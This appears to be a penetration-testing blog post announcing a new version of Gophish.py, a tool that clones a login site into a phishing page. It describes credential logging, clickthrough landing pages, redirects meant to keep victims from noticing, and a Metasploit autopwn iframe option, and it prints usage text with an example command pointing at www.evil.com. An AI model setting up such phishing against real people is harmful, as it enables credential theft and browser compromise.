I’ve released a new version of Gophish.py. The update includes:
- Added comments explaining my ugly code.
- cleaned up some code with a function, removing some redundancy.
- Some bug fixes. The main fix is for an issue I found in certain cases when running it on Linux. Sometimes BeautifulSoup would change the order of the HTML page, moving functions in a script tag to a whole separate portion of the page (outside of the script tags) for instance. This would totally bork the page. Now, I am using the lxml support in BeautifulSoup which seems to have remediated the issue and works on Windows or Linux. Unfortunately, installing lxml on Windows is a little more of a pain than Linux (no `easy_install lxml`). The best way to do this is to install an lxml binary from one of the exe’s found here.
- Gophish now ignores robots. Stupid mistake on my part, I didn’t realize Mechanize automatically honored robots.txt files.
- Added some additional logging on the intial connection and subsequent page accesses.
- Added an option to specify the IP to listen on, rather than just 0.0.0.0 (this is still the default).
- Added an option to specify a clickthrough landing page. With this option, the URL you provide is what the phished target is redirected to in the case where they submit a from. In the past, Gophish always just submitted the form values to the phished site using the path found in the original form ACTION. Note, submitted information still gets logged.
- Added an option to redirect users in the case where you want to replicate redirection functionality. For example, if your target redirects mail.example.com to outlook.example.com/blah/page/file.ext, then you can now do this with Gophish on your phish page. This way, your phishing page reacts in the same way as the target, reducing the likelihood someone will notice
Lot’s of new stuff all things considered. Let’s start with the easy features that have been added. If you pass –listen <IP>, then Gophish will listen on that IP rather than 0.0.0.0. The default is still 0.0.0.0 and this is what is used if this option is not specified.
The next option is pretty simple as well. If you pass –landing <http://www.landingsite.com>, then this is where the phished target will be redirected after submitting any forms on the phishing page. The default is to log submitted form values and then submit them to the REAL site, resulting in the user being redirected and possibly logged in to the real site. However, there are some cases where maybe this isn’t what you might want. Sometimes it’s nice to capture credentials or whatever else you are trying to get in the form and then have the user land on another page. This page might capture more information, and acts as a “clickthrough” page.
The final option is meant more for trying to mimic specific functionality of the target page as much as possible. Many times, users access a page just by its familiar name like mail.example.com and then are redirected to something like server-1-mail.example.com. Most users won’t even notice this behavior, but I added a feature just in case. You can now pass –redirect <content in FQDN to regex for redirect> along with –redirectto <full URL to redirect to> to perform the redirection. The first option is used in a regex and if a match is found the user is then redirected to the full URL provided with the second option.
usage: gophish.py [-h] --phish PHISH --replace REPLACE [--logfile LOGFILE] [--listen LISTEN] [--port PORT] [--ssl] [--sslchain SSLCHAIN] [--sslcert SSLCERT] [--sslkey SSLKEY] [--autopwn AUTOPWN] [--autofill AUTOFILL] [--redirect REDIRECT] [--redirectto REDIRECTTO] [--landing LANDING] Automatically setup a phishing site. optional arguments: -h, --help show this help message and exit --phish PHISH the full URL to phish back to the victim (must include http(s)://) (default: None) --replace REPLACE the IP/FQDN to replace FORM actions with (must include http(s):// and final /) (default: None) --logfile LOGFILE log file to store submitted form values (default: phishlog.txt) --listen LISTEN the IP to bind to (default: 0.0.0.0) --port PORT the port to start the listening web server on (default: 80) --ssl enable SSL on the running port (default: 0) --sslchain SSLCHAIN certificate chain file to use when ssl option is enabled (default: chain.crt) --sslcert SSLCERT certificate file to use to use when ssl option is enabled (default: ssl.crt) --sslkey SSLKEY private key file to use to use when ssl option is enabled (default: ssl.key) --autopwn AUTOPWN Metasploit auxiliary/server/browser_autopwn URL to inject as an iFrame (default: None) --autofill AUTOFILL file to use to autosubmit autocomplete fields (default: None) --redirect REDIRECT redirect requests for this address somewhere else (default: None) --redirectto REDIRECTTO redirect requests in the redirect option to this address (full link, must include http(s)://) (default: www.google.com) --landing LANDING redirect to this landing page instead of original site after form is submitted (include full link) (default: None) Example: gophish.py --phish https://www.victim.com/login.php --replace \ https://www.evil.com/ --listen 18.104.22.168 --landing http://www.landing.com \ --redirect mail.example.com --redirectto http://mail1.example.com/owa/exch/
I’ve left the original download location up, but will eventually remove this and only use the new location, which is here. That is where you can get the latest and greatest version.
- Apache Security
- OWASP 2010 A1
- OWASP 2010 A10
- OWASP 2010 A2
- OWASP 2010 A3
- OWASP 2010 A4
- OWASP 2010 A5
- OWASP 2010 A6
- OWASP 2010 A7
- OWASP 2010 A9
- OWASP 2013 A9
- Penetration Testing
- PHP Security
- Social Engineering
Top TagsASVS 3.1 ASVS 3.2 ASVS 3.3 ASVS 3.4 ASVS 3.5 ASVS 3.6 ASVS 3.7 ASVS 3.8 ASVS 3.9 ASVS 3.10 ASVS 3.11 ASVS 3.12 ASVS 3.13 ASVS 11.4 bcrypt Burp Suite Pro CodeWatch CryptoPP Hashcat Hyperion Java Linux Metasploit Meterpreter mimikatz msfencode msfpayload Ophcrack OWASP 2010 A1 - Injection OWASP 2010 A2 - Cross-Site Scripting (XSS) OWASP 2010 A3 - Broken Authentication and Session Management Penetration Testing Phishing PHP Powershell Python SET Shellcodeexec Social Engineering Unix Veil VirusTotal WAF Web App Pentesting Windows